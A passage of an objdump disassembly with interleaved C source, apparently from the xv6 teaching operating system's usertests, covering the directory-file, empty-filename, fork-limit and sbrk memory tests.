3b16: e8 65 11 00 00 call 4c80 <mkdir>
3b1b: 85 c0 test %eax,%eax
3b1d: 75 19 jne 3b38 <dirfile+0x119>
printf(1, "mkdir dirfile/xx succeeded!\n");
3b1f: c7 44 24 04 68 65 00 movl $0x6568,0x4(%esp)
3b26: 00
3b27: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3b2e: e8 8d 12 00 00 call 4dc0 <printf>
exit();
3b33: e8 e0 10 00 00 call 4c18 <exit>
}
if(unlink("dirfile/xx") == 0){
3b38: c7 04 24 3f 65 00 00 movl $0x653f,(%esp)
3b3f: e8 24 11 00 00 call 4c68 <unlink>
3b44: 85 c0 test %eax,%eax
3b46: 75 19 jne 3b61 <dirfile+0x142>
printf(1, "unlink dirfile/xx succeeded!\n");
3b48: c7 44 24 04 85 65 00 movl $0x6585,0x4(%esp)
3b4f: 00
3b50: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3b57: e8 64 12 00 00 call 4dc0 <printf>
exit();
3b5c: e8 b7 10 00 00 call 4c18 <exit>
}
if(link("README", "dirfile/xx") == 0){
3b61: c7 44 24 04 3f 65 00 movl $0x653f,0x4(%esp)
3b68: 00
3b69: c7 04 24 a3 65 00 00 movl $0x65a3,(%esp)
3b70: e8 03 11 00 00 call 4c78 <link>
3b75: 85 c0 test %eax,%eax
3b77: 75 19 jne 3b92 <dirfile+0x173>
printf(1, "link to dirfile/xx succeeded!\n");
3b79: c7 44 24 04 ac 65 00 movl $0x65ac,0x4(%esp)
3b80: 00
3b81: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3b88: e8 33 12 00 00 call 4dc0 <printf>
exit();
3b8d: e8 86 10 00 00 call 4c18 <exit>
}
if(unlink("dirfile") != 0){
3b92: c7 04 24 06 65 00 00 movl $0x6506,(%esp)
3b99: e8 ca 10 00 00 call 4c68 <unlink>
3b9e: 85 c0 test %eax,%eax
3ba0: 74 19 je 3bbb <dirfile+0x19c>
printf(1, "unlink dirfile failed!\n");
3ba2: c7 44 24 04 cb 65 00 movl $0x65cb,0x4(%esp)
3ba9: 00
3baa: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3bb1: e8 0a 12 00 00 call 4dc0 <printf>
exit();
3bb6: e8 5d 10 00 00 call 4c18 <exit>
}
fd = open(".", O_RDWR);
3bbb: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
3bc2: 00
3bc3: c7 04 24 73 5b 00 00 movl $0x5b73,(%esp)
3bca: e8 89 10 00 00 call 4c58 <open>
3bcf: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
3bd2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3bd6: 78 19 js 3bf1 <dirfile+0x1d2>
printf(1, "open . for writing succeeded!\n");
3bd8: c7 44 24 04 e4 65 00 movl $0x65e4,0x4(%esp)
3bdf: 00
3be0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3be7: e8 d4 11 00 00 call 4dc0 <printf>
exit();
3bec: e8 27 10 00 00 call 4c18 <exit>
}
fd = open(".", 0);
3bf1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
3bf8: 00
3bf9: c7 04 24 73 5b 00 00 movl $0x5b73,(%esp)
3c00: e8 53 10 00 00 call 4c58 <open>
3c05: 89 45 f4 mov %eax,-0xc(%ebp)
if(write(fd, "x", 1) > 0){
3c08: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3c0f: 00
3c10: c7 44 24 04 aa 57 00 movl $0x57aa,0x4(%esp)
3c17: 00
3c18: 8b 45 f4 mov -0xc(%ebp),%eax
3c1b: 89 04 24 mov %eax,(%esp)
3c1e: e8 15 10 00 00 call 4c38 <write>
3c23: 85 c0 test %eax,%eax
3c25: 7e 19 jle 3c40 <dirfile+0x221>
printf(1, "write . succeeded!\n");
3c27: c7 44 24 04 03 66 00 movl $0x6603,0x4(%esp)
3c2e: 00
3c2f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3c36: e8 85 11 00 00 call 4dc0 <printf>
exit();
3c3b: e8 d8 0f 00 00 call 4c18 <exit>
}
close(fd);
3c40: 8b 45 f4 mov -0xc(%ebp),%eax
3c43: 89 04 24 mov %eax,(%esp)
3c46: e8 f5 0f 00 00 call 4c40 <close>
printf(1, "dir vs file OK\n");
3c4b: c7 44 24 04 17 66 00 movl $0x6617,0x4(%esp)
3c52: 00
3c53: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3c5a: e8 61 11 00 00 call 4dc0 <printf>
}
3c5f: c9 leave
3c60: c3 ret
00003c61 <iref>:
// test that iput() is called at the end of _namei()
void
iref(void)
{
3c61: 55 push %ebp
3c62: 89 e5 mov %esp,%ebp
3c64: 83 ec 28 sub $0x28,%esp
int i, fd;
printf(1, "empty file name\n");
3c67: c7 44 24 04 27 66 00 movl $0x6627,0x4(%esp)
3c6e: 00
3c6f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3c76: e8 45 11 00 00 call 4dc0 <printf>
// the 50 is NINODE
for(i = 0; i < 50 + 1; i++){
3c7b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3c82: e9 d2 00 00 00 jmp 3d59 <iref+0xf8>
if(mkdir("irefd") != 0){
3c87: c7 04 24 38 66 00 00 movl $0x6638,(%esp)
3c8e: e8 ed 0f 00 00 call 4c80 <mkdir>
3c93: 85 c0 test %eax,%eax
3c95: 74 19 je 3cb0 <iref+0x4f>
printf(1, "mkdir irefd failed\n");
3c97: c7 44 24 04 3e 66 00 movl $0x663e,0x4(%esp)
3c9e: 00
3c9f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3ca6: e8 15 11 00 00 call 4dc0 <printf>
exit();
3cab: e8 68 0f 00 00 call 4c18 <exit>
}
if(chdir("irefd") != 0){
3cb0: c7 04 24 38 66 00 00 movl $0x6638,(%esp)
3cb7: e8 cc 0f 00 00 call 4c88 <chdir>
3cbc: 85 c0 test %eax,%eax
3cbe: 74 19 je 3cd9 <iref+0x78>
printf(1, "chdir irefd failed\n");
3cc0: c7 44 24 04 52 66 00 movl $0x6652,0x4(%esp)
3cc7: 00
3cc8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3ccf: e8 ec 10 00 00 call 4dc0 <printf>
exit();
3cd4: e8 3f 0f 00 00 call 4c18 <exit>
}
mkdir("");
3cd9: c7 04 24 66 66 00 00 movl $0x6666,(%esp)
3ce0: e8 9b 0f 00 00 call 4c80 <mkdir>
link("README", "");
3ce5: c7 44 24 04 66 66 00 movl $0x6666,0x4(%esp)
3cec: 00
3ced: c7 04 24 a3 65 00 00 movl $0x65a3,(%esp)
3cf4: e8 7f 0f 00 00 call 4c78 <link>
fd = open("", O_CREATE);
3cf9: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
3d00: 00
3d01: c7 04 24 66 66 00 00 movl $0x6666,(%esp)
3d08: e8 4b 0f 00 00 call 4c58 <open>
3d0d: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0)
3d10: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3d14: 78 0b js 3d21 <iref+0xc0>
close(fd);
3d16: 8b 45 f0 mov -0x10(%ebp),%eax
3d19: 89 04 24 mov %eax,(%esp)
3d1c: e8 1f 0f 00 00 call 4c40 <close>
fd = open("xx", O_CREATE);
3d21: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
3d28: 00
3d29: c7 04 24 67 66 00 00 movl $0x6667,(%esp)
3d30: e8 23 0f 00 00 call 4c58 <open>
3d35: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0)
3d38: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3d3c: 78 0b js 3d49 <iref+0xe8>
close(fd);
3d3e: 8b 45 f0 mov -0x10(%ebp),%eax
3d41: 89 04 24 mov %eax,(%esp)
3d44: e8 f7 0e 00 00 call 4c40 <close>
unlink("xx");
3d49: c7 04 24 67 66 00 00 movl $0x6667,(%esp)
3d50: e8 13 0f 00 00 call 4c68 <unlink>
int i, fd;
printf(1, "empty file name\n");
// the 50 is NINODE
for(i = 0; i < 50 + 1; i++){
3d55: 83 45 f4 01 addl $0x1,-0xc(%ebp)
3d59: 83 7d f4 32 cmpl $0x32,-0xc(%ebp)
3d5d: 0f 8e 24 ff ff ff jle 3c87 <iref+0x26>
if(fd >= 0)
close(fd);
unlink("xx");
}
chdir("/");
3d63: c7 04 24 8a 64 00 00 movl $0x648a,(%esp)
3d6a: e8 19 0f 00 00 call 4c88 <chdir>
printf(1, "empty file name OK\n");
3d6f: c7 44 24 04 6a 66 00 movl $0x666a,0x4(%esp)
3d76: 00
3d77: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3d7e: e8 3d 10 00 00 call 4dc0 <printf>
}
3d83: c9 leave
3d84: c3 ret
00003d85 <forktest>:
// test that fork fails gracefully
// the forktest binary also does this, but it runs out of proc entries first.
// inside the bigger usertests binary, we run out of memory first.
void
forktest(void)
{
3d85: 55 push %ebp
3d86: 89 e5 mov %esp,%ebp
3d88: 83 ec 28 sub $0x28,%esp
int n, pid;
printf(1, "fork test\n");
3d8b: c7 44 24 04 7e 66 00 movl $0x667e,0x4(%esp)
3d92: 00
3d93: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3d9a: e8 21 10 00 00 call 4dc0 <printf>
for(n=0; n<1000; n++){
3d9f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3da6: eb 1f jmp 3dc7 <forktest+0x42>
pid = fork();
3da8: e8 63 0e 00 00 call 4c10 <fork>
3dad: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid < 0)
3db0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3db4: 79 02 jns 3db8 <forktest+0x33>
break;
3db6: eb 18 jmp 3dd0 <forktest+0x4b>
if(pid == 0)
3db8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3dbc: 75 05 jne 3dc3 <forktest+0x3e>
exit();
3dbe: e8 55 0e 00 00 call 4c18 <exit>
{
int n, pid;
printf(1, "fork test\n");
for(n=0; n<1000; n++){
3dc3: 83 45 f4 01 addl $0x1,-0xc(%ebp)
3dc7: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
3dce: 7e d8 jle 3da8 <forktest+0x23>
break;
if(pid == 0)
exit();
}
if(n == 1000){
3dd0: 81 7d f4 e8 03 00 00 cmpl $0x3e8,-0xc(%ebp)
3dd7: 75 19 jne 3df2 <forktest+0x6d>
printf(1, "fork claimed to work 1000 times!\n");
3dd9: c7 44 24 04 8c 66 00 movl $0x668c,0x4(%esp)
3de0: 00
3de1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3de8: e8 d3 0f 00 00 call 4dc0 <printf>
exit();
3ded: e8 26 0e 00 00 call 4c18 <exit>
}
for(; n > 0; n--){
3df2: eb 26 jmp 3e1a <forktest+0x95>
if(wait() < 0){
3df4: e8 27 0e 00 00 call 4c20 <wait>
3df9: 85 c0 test %eax,%eax
3dfb: 79 19 jns 3e16 <forktest+0x91>
printf(1, "wait stopped early\n");
3dfd: c7 44 24 04 ae 66 00 movl $0x66ae,0x4(%esp)
3e04: 00
3e05: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3e0c: e8 af 0f 00 00 call 4dc0 <printf>
exit();
3e11: e8 02 0e 00 00 call 4c18 <exit>
if(n == 1000){
printf(1, "fork claimed to work 1000 times!\n");
exit();
}
for(; n > 0; n--){
3e16: 83 6d f4 01 subl $0x1,-0xc(%ebp)
3e1a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3e1e: 7f d4 jg 3df4 <forktest+0x6f>
printf(1, "wait stopped early\n");
exit();
}
}
if(wait() != -1){
3e20: e8 fb 0d 00 00 call 4c20 <wait>
3e25: 83 f8 ff cmp $0xffffffff,%eax
3e28: 74 19 je 3e43 <forktest+0xbe>
printf(1, "wait got too many\n");
3e2a: c7 44 24 04 c2 66 00 movl $0x66c2,0x4(%esp)
3e31: 00
3e32: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3e39: e8 82 0f 00 00 call 4dc0 <printf>
exit();
3e3e: e8 d5 0d 00 00 call 4c18 <exit>
}
printf(1, "fork test OK\n");
3e43: c7 44 24 04 d5 66 00 movl $0x66d5,0x4(%esp)
3e4a: 00
3e4b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3e52: e8 69 0f 00 00 call 4dc0 <printf>
}
3e57: c9 leave
3e58: c3 ret
00003e59 <sbrktest>:
void
sbrktest(void)
{
3e59: 55 push %ebp
3e5a: 89 e5 mov %esp,%ebp
3e5c: 53 push %ebx
3e5d: 81 ec 84 00 00 00 sub $0x84,%esp
int fds[2], pid, pids[10], ppid;
char *a, *b, *c, *lastaddr, *oldbrk, *p, scratch;
uint amt;
printf(stdout, "sbrk test\n");
3e63: a1 c8 72 00 00 mov 0x72c8,%eax
3e68: c7 44 24 04 e3 66 00 movl $0x66e3,0x4(%esp)
3e6f: 00
3e70: 89 04 24 mov %eax,(%esp)
3e73: e8 48 0f 00 00 call 4dc0 <printf>
oldbrk = sbrk(0);
3e78: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3e7f: e8 1c 0e 00 00 call 4ca0 <sbrk>
3e84: 89 45 ec mov %eax,-0x14(%ebp)
// can one sbrk() less than a page?
a = sbrk(0);
3e87: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3e8e: e8 0d 0e 00 00 call 4ca0 <sbrk>
3e93: 89 45 f4 mov %eax,-0xc(%ebp)
int i;
for(i = 0; i < 5000; i++){
3e96: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
3e9d: eb 59 jmp 3ef8 <sbrktest+0x9f>
b = sbrk(1);
3e9f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3ea6: e8 f5 0d 00 00 call 4ca0 <sbrk>
3eab: 89 45 e8 mov %eax,-0x18(%ebp)
if(b != a){
3eae: 8b 45 e8 mov -0x18(%ebp),%eax
3eb1: 3b 45 f4 cmp -0xc(%ebp),%eax
3eb4: 74 2f je 3ee5 <sbrktest+0x8c>
printf(stdout, "sbrk test failed %d %x %x\n", i, a, b);
3eb6: a1 c8 72 00 00 mov 0x72c8,%eax
3ebb: 8b 55 e8 mov -0x18(%ebp),%edx
3ebe: 89 54 24 10 mov %edx,0x10(%esp)
3ec2: 8b 55 f4 mov -0xc(%ebp),%edx
3ec5: 89 54 24 0c mov %edx,0xc(%esp)
3ec9: 8b 55 f0 mov -0x10(%ebp),%edx
3ecc: 89 54 24 08 mov %edx,0x8(%esp)
3ed0: c7 44 24 04 ee 66 00 movl $0x66ee,0x4(%esp)
3ed7: 00
3ed8: 89 04 24 mov %eax,(%esp)
3edb: e8 e0 0e 00 00 call 4dc0 <printf>
exit();
3ee0: e8 33 0d 00 00 call 4c18 <exit>
}
*b = 1;
3ee5: 8b 45 e8 mov -0x18(%ebp),%eax
3ee8: c6 00 01 movb $0x1,(%eax)
a = b + 1;
3eeb: 8b 45 e8 mov -0x18(%ebp),%eax
3eee: 83 c0 01 add $0x1,%eax
3ef1: 89 45 f4 mov %eax,-0xc(%ebp)
oldbrk = sbrk(0);
// can one sbrk() less than a page?
a = sbrk(0);
int i;
for(i = 0; i < 5000; i++){
3ef4: 83 45 f0 01 addl $0x1,-0x10(%ebp)
3ef8: 81 7d f0 87 13 00 00 cmpl $0x1387,-0x10(%ebp)
3eff: 7e 9e jle 3e9f <sbrktest+0x46>
exit();
}
*b = 1;
a = b + 1;
}
pid = fork();
3f01: e8 0a 0d 00 00 call 4c10 <fork>
3f06: 89 45 e4 mov %eax,-0x1c(%ebp)
if(pid < 0){
3f09: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
3f0d: 79 1a jns 3f29 <sbrktest+0xd0>
printf(stdout, "sbrk test fork failed\n");
3f0f: a1 c8 72 00 00 mov 0x72c8,%eax
3f14: c7 44 24 04 09 67 00 movl $0x6709,0x4(%esp)
3f1b: 00
3f1c: 89 04 24 mov %eax,(%esp)
3f1f: e8 9c 0e 00 00 call 4dc0 <printf>
exit();
3f24: e8 ef 0c 00 00 call 4c18 <exit>
}
c = sbrk(1);
3f29: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3f30: e8 6b 0d 00 00 call 4ca0 <sbrk>
3f35: 89 45 e0 mov %eax,-0x20(%ebp)
c = sbrk(1);
3f38: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3f3f: e8 5c 0d 00 00 call 4ca0 <sbrk>
3f44: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a + 1){
3f47: 8b 45 f4 mov -0xc(%ebp),%eax
3f4a: 83 c0 01 add $0x1,%eax
3f4d: 3b 45 e0 cmp -0x20(%ebp),%eax
3f50: 74 1a je 3f6c <sbrktest+0x113>
printf(stdout, "sbrk test failed post-fork\n");
3f52: a1 c8 72 00 00 mov 0x72c8,%eax
3f57: c7 44 24 04 20 67 00 movl $0x6720,0x4(%esp)
3f5e: 00
3f5f: 89 04 24 mov %eax,(%esp)
3f62: e8 59 0e 00 00 call 4dc0 <printf>
exit();
3f67: e8 ac 0c 00 00 call 4c18 <exit>
}
if(pid == 0)
3f6c: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
3f70: 75 05 jne 3f77 <sbrktest+0x11e>
exit();
3f72: e8 a1 0c 00 00 call 4c18 <exit>
wait();
3f77: e8 a4 0c 00 00 call 4c20 <wait>
// can one grow address space to something big?
#define BIG (100*1024*1024)
a = sbrk(0);
3f7c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3f83: e8 18 0d 00 00 call 4ca0 <sbrk>
3f88: 89 45 f4 mov %eax,-0xc(%ebp)
amt = (BIG) - (uint)a;
3f8b: 8b 45 f4 mov -0xc(%ebp),%eax
3f8e: ba 00 00 40 06 mov $0x6400000,%edx
3f93: 29 c2 sub %eax,%edx
3f95: 89 d0 mov %edx,%eax
3f97: 89 45 dc mov %eax,-0x24(%ebp)
p = sbrk(amt);
3f9a: 8b 45 dc mov -0x24(%ebp),%eax
3f9d: 89 04 24 mov %eax,(%esp)
3fa0: e8 fb 0c 00 00 call 4ca0 <sbrk>
3fa5: 89 45 d8 mov %eax,-0x28(%ebp)
if (p != a) {
3fa8: 8b 45 d8 mov -0x28(%ebp),%eax
3fab: 3b 45 f4 cmp -0xc(%ebp),%eax
3fae: 74 1a je 3fca <sbrktest+0x171>
printf(stdout, "sbrk test failed to grow big address space; enough phys mem?\n");
3fb0: a1 c8 72 00 00 mov 0x72c8,%eax
3fb5: c7 44 24 04 3c 67 00 movl $0x673c,0x4(%esp)
3fbc: 00
3fbd: 89 04 24 mov %eax,(%esp)
3fc0: e8 fb 0d 00 00 call 4dc0 <printf>
exit();
3fc5: e8 4e 0c 00 00 call 4c18 <exit>
}
lastaddr = (char*) (BIG-1);
3fca: c7 45 d4 ff ff 3f 06 movl $0x63fffff,-0x2c(%ebp)
*lastaddr = 99;
3fd1: 8b 45 d4 mov -0x2c(%ebp),%eax
3fd4: c6 00 63 movb $0x63,(%eax)
// can one de-allocate?
a = sbrk(0);
3fd7: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3fde: e8 bd 0c 00 00 call 4ca0 <sbrk>
3fe3: 89 45 f4 mov %eax,-0xc(%ebp)
c = sbrk(-4096);
3fe6: c7 04 24 00 f0 ff ff movl $0xfffff000,(%esp)
3fed: e8 ae 0c 00 00 call 4ca0 <sbrk>
3ff2: 89 45 e0 mov %eax,-0x20(%ebp)
if(c == (char*)0xffffffff){
3ff5: 83 7d e0 ff cmpl $0xffffffff,-0x20(%ebp)
3ff9: 75 1a jne 4015 <sbrktest+0x1bc>
printf(stdout, "sbrk could not deallocate\n");
3ffb: a1 c8 72 00 00 mov 0x72c8,%eax
4000: c7 44 24 04 7a 67 00 movl $0x677a,0x4(%esp)
4007: 00
4008: 89 04 24 mov %eax,(%esp)
400b: e8 b0 0d 00 00 call 4dc0 <printf>
exit();
4010: e8 03 0c 00 00 call 4c18 <exit>
}
c = sbrk(0);
4015: c7 04 24 00 00 00 00 movl $0x0,(%esp)
401c: e8 7f 0c 00 00 call 4ca0 <sbrk>
4021: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a - 4096){
4024: 8b 45 f4 mov -0xc(%ebp),%eax
4027: 2d 00 10 00 00 sub $0x1000,%eax
402c: 3b 45 e0 cmp -0x20(%ebp),%eax
402f: 74 28 je 4059 <sbrktest+0x200>
printf(stdout, "sbrk deallocation produced wrong address, a %x c %x\n", a, c);
4031: a1 c8 72 00 00 mov 0x72c8,%eax
4036: 8b 55 e0 mov -0x20(%ebp),%edx
4039: 89 54 24 0c mov %edx,0xc(%esp)
403d: 8b 55 f4 mov -0xc(%ebp),%edx
4040: 89 54 24 08 mov %edx,0x8(%esp)
4044: c7 44 24 04 98 67 00 movl $0x6798,0x4(%esp)
404b: 00
404c: 89 04 24 mov %eax,(%esp)
404f: e8 6c 0d 00 00 call 4dc0 <printf>
exit();
4054: e8 bf 0b 00 00 call 4c18 <exit>
}
// can one re-allocate that page?
a = sbrk(0);
4059: c7 04 24 00 00 00 00 movl $0x0,(%esp)
4060: e8 3b 0c 00 00 call 4ca0 <sbrk>
4065: 89 45 f4 mov %eax,-0xc(%ebp)
c = sbrk(4096);
4068: c7 04 24 00 10 00 00 movl $0x1000,(%esp)
406f: e8 2c 0c 00 00 call 4ca0 <sbrk>
4074: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a || sbrk(0) != a + 4096){
4077: 8b 45 e0 mov -0x20(%ebp),%eax
407a: 3b 45 f4 cmp -0xc(%ebp),%eax
407d: 75 19 jne 4098 <sbrktest+0x23f>
407f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
4086: e8 15 0c 00 00 call 4ca0 <sbrk>
408b: 8b 55 f4 mov -0xc(%ebp),%edx
408e: 81 c2 00 10 00 00 add $0x1000,%edx
4094: 39 d0 cmp %edx,%eax
4096: 74 28 je 40c0 <sbrktest+0x267>
printf(stdout, "sbrk re-allocation failed, a %x c %x\n", a, c);
4098: a1 c8 72 00 00 mov 0x72c8,%eax
409d: 8b 55 e0 mov -0x20(%ebp),%edx
40a0: 89 54 24 0c mov %edx,0xc(%esp)
40a4: 8b 55 f4 mov -0xc(%ebp),%edx
40a7: 89 54 24 08 mov %edx,0x8(%esp)
40ab: c7 44 24 04 d0 67 00 movl $0x67d0,0x4(%esp)
40b2: 00
40b3: 89 04 24 mov %eax,(%esp)
40b6: e8 05 0d 00 00 call 4dc0 <printf>
exit();
40bb: e8 58 0b 00 00 call 4c18 <exit>
}
if(*lastaddr == 99){
40c0: 8b 45 d4 mov -0x2c(%ebp),%eax
40c3: 0f b6 00 movzbl (%eax),%eax
40c6: 3c 63 cmp $0x63,%al
40c8: 75 1a jne 40e4 <sbrktest+0x28b>
// should be zero
printf(stdout, "sbrk de-allocation didn't really deallocate\n");
40ca: a1 c8 72 00 00 mov 0x72c8,%eax
40cf: c7 44 24 04 f8 67 00 movl $0x67f8,0x4(%esp)
40d6: 00
40d7: 89 04 24 mov %eax,(%esp)
40da: e8 e1 0c 00 00 call 4dc0 <printf>
exit();
40df: e8 34 0b 00 00 call 4c18 <exit>
}
a = sbrk(0);
40e4: c7 04 24 00 00 00 00 movl $0x0,(%esp)
40eb: e8 b0 0b 00 00 call 4ca0 <sbrk>
40f0: 89 45 f4 mov %eax,-0xc(%ebp)
c = sbrk(-(sbrk(0) - oldbrk));
40f3: 8b 5d ec mov -0x14(%ebp),%ebx
40f6: c7 04 24 00 00 00 00 movl $0x0,(%esp)
40fd: e8 9e 0b 00 00 call 4ca0 <sbrk>
4102: 29 c3 sub %eax,%ebx
4104: 89 d8 mov %ebx,%eax
4106: 89 04 24 mov %eax,(%esp)
4109: e8 92 0b 00 00 call 4ca0 <sbrk>
410e: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a){
4111: 8b 45 e0 mov -0x20(%ebp),%eax
4114: 3b 45 f4 cmp -0xc(%ebp),%eax
4117: 74 28 je 4141 <sbrktest+0x2e8>
printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c);
4119: a1 c8 72 00 00 mov 0x72c8,%eax
411e: 8b 55 e0 mov -0x20(%ebp),%edx
4121: 89 54 24 0c mov %edx,0xc(%esp)
4125: 8b 55 f4 mov -0xc(%ebp),%edx
4128: 89 54 24 08 mov %edx,0x8(%esp)
412c: c7 44 24 04 28 68 00 movl $0x6828,0x4(%esp)
4133: 00
4134: 89 04 24 mov %eax,(%esp)
4137: e8 84 0c 00 00 call 4dc0 <printf>
exit();
413c: e8 d7 0a 00 00 call 4c18 <exit>
}
// can we read the kernel's memory?
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
4141: c7 45 f4 00 00 00 80 movl $0x80000000,-0xc(%ebp)
4148: eb 7b jmp 41c5 <sbrktest+0x36c>
ppid = getpid();
414a: e8 49 0b 00 00 call 4c98 <getpid>
414f: 89 45 d0 mov %eax,-0x30(%ebp)
pid = fork();
4152: e8 b9 0a 00 00 call 4c10 <fork>
4157: 89 45 e4 mov %eax,-0x1c(%ebp)
if(pid < 0){
415a: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
415e: 79 1a jns 417a <sbrktest+0x321>
printf(stdout, "fork failed\n");
4160: a1 c8 72 00 00 mov 0x72c8,%eax
4165: c7 44 24 04 f1 57 00 movl $0x57f1,0x4(%esp)
416c: 00
416d: 89 04 24 mov %eax,(%esp)
4170: e8 4b 0c 00 00 call 4dc0 <printf>
exit();
4175: e8 9e 0a 00 00 call 4c18 <exit>
}
if(pid == 0){
417a: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
417e: 75 39 jne 41b9 <sbrktest+0x360>
printf(stdout, "oops could read %x = %x\n", a, *a);
4180: 8b 45 f4 mov -0xc(%ebp),%eax
4183: 0f b6 00 movzbl (%eax),%eax
4186: 0f be d0 movsbl %al,%edx
4189: a1 c8 72 00 00 mov 0x72c8,%eax
418e: 89 54 24 0c mov %edx,0xc(%esp)
4192: 8b 55 f4 mov -0xc(%ebp),%edx
4195: 89 54 24 08 mov %edx,0x8(%esp)
4199: c7 44 24 04 49 68 00 movl $0x6849,0x4(%esp)
41a0: 00
41a1: 89 04 24 mov %eax,(%esp)
41a4: e8 17 0c 00 00 call 4dc0 <printf>
kill(ppid);
41a9: 8b 45 d0 mov -0x30(%ebp),%eax
41ac: 89 04 24 mov %eax,(%esp)
41af: e8 94 0a 00 00 call 4c48 <kill>
exit();
41b4: e8 5f 0a 00 00 call 4c18 <exit>
}
wait();
41b9: e8 62 0a 00 00 call 4c20 <wait>
printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c);
exit();
}
// can we read the kernel's memory?
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
41be: 81 45 f4 50 c3 00 00 addl $0xc350,-0xc(%ebp)
41c5: 81 7d f4 7f 84 1e 80 cmpl $0x801e847f,-0xc(%ebp)
41cc: 0f 86 78 ff ff ff jbe 414a <sbrktest+0x2f1>
wait();
}
// if we run the system out of memory, does it clean up the last
// failed allocation?
if(pipe(fds) != 0){
41d2: 8d 45 c8 lea -0x38(%ebp),%eax
41d5: 89 04 24 mov %eax,(%esp)
41d8: e8 4b 0a 00 00 call 4c28 <pipe>
41dd: 85 c0 test %eax,%eax
41df: 74 19 je 41fa <sbrktest+0x3a1>
printf(1, "pipe() failed\n");
41e1: c7 44 24 04 45 57 00 movl $0x5745,0x4(%esp)
41e8: 00
41e9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
41f0: e8 cb 0b 00 00 call 4dc0 <printf>
exit();
41f5: e8 1e 0a 00 00 call 4c18 <exit>
}
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
41fa: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
4201: e9 87 00 00 00 jmp 428d <sbrktest+0x434>
if((pids[i] = fork()) == 0){
4206: e8 05 0a 00 00 call 4c10 <fork>
420b: 8b 55 f0 mov -0x10(%ebp),%edx
420e: 89 44 95 a0 mov %eax,-0x60(%ebp,%edx,4)
4212: 8b 45 f0 mov -0x10(%ebp),%eax
4215: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
4219: 85 c0 test %eax,%eax
421b: 75 46 jne 4263 <sbrktest+0x40a>
// allocate a lot of memory
sbrk(BIG - (uint)sbrk(0));
421d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
4224: e8 77 0a 00 00 call 4ca0 <sbrk>
4229: ba 00 00 40 06 mov $0x6400000,%edx
422e: 29 c2 sub %eax,%edx
4230: 89 d0 mov %edx,%eax
4232: 89 04 24 mov %eax,(%esp)
4235: e8 66 0a 00 00 call 4ca0 <sbrk>
write(fds[1], "x", 1);
423a: 8b 45 cc mov -0x34(%ebp),%eax
423d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
4244: 00
4245: c7 44 24 04 aa 57 00 movl $0x57aa,0x4(%esp)
424c: 00
424d: 89 04 24 mov %eax,(%esp)
4250: e8 e3 09 00 00 call 4c38 <write>
// sit around until killed
for(;;) sleep(1000);
4255: c7 04 24 e8 03 00 00 movl $0x3e8,(%esp)
425c: e8 47 0a 00 00 call 4ca8 <sleep>
4261: eb f2 jmp 4255 <sbrktest+0x3fc>
}
if(pids[i] != -1)
4263: 8b 45 f0 mov -0x10(%ebp),%eax
4266: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
426a: 83 f8 ff cmp $0xffffffff,%eax
426d: 74 1a je 4289 <sbrktest+0x430>
read(fds[0], &scratch, 1);
426f: 8b 45 c8 mov -0x38(%ebp),%eax
4272: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
4279: 00
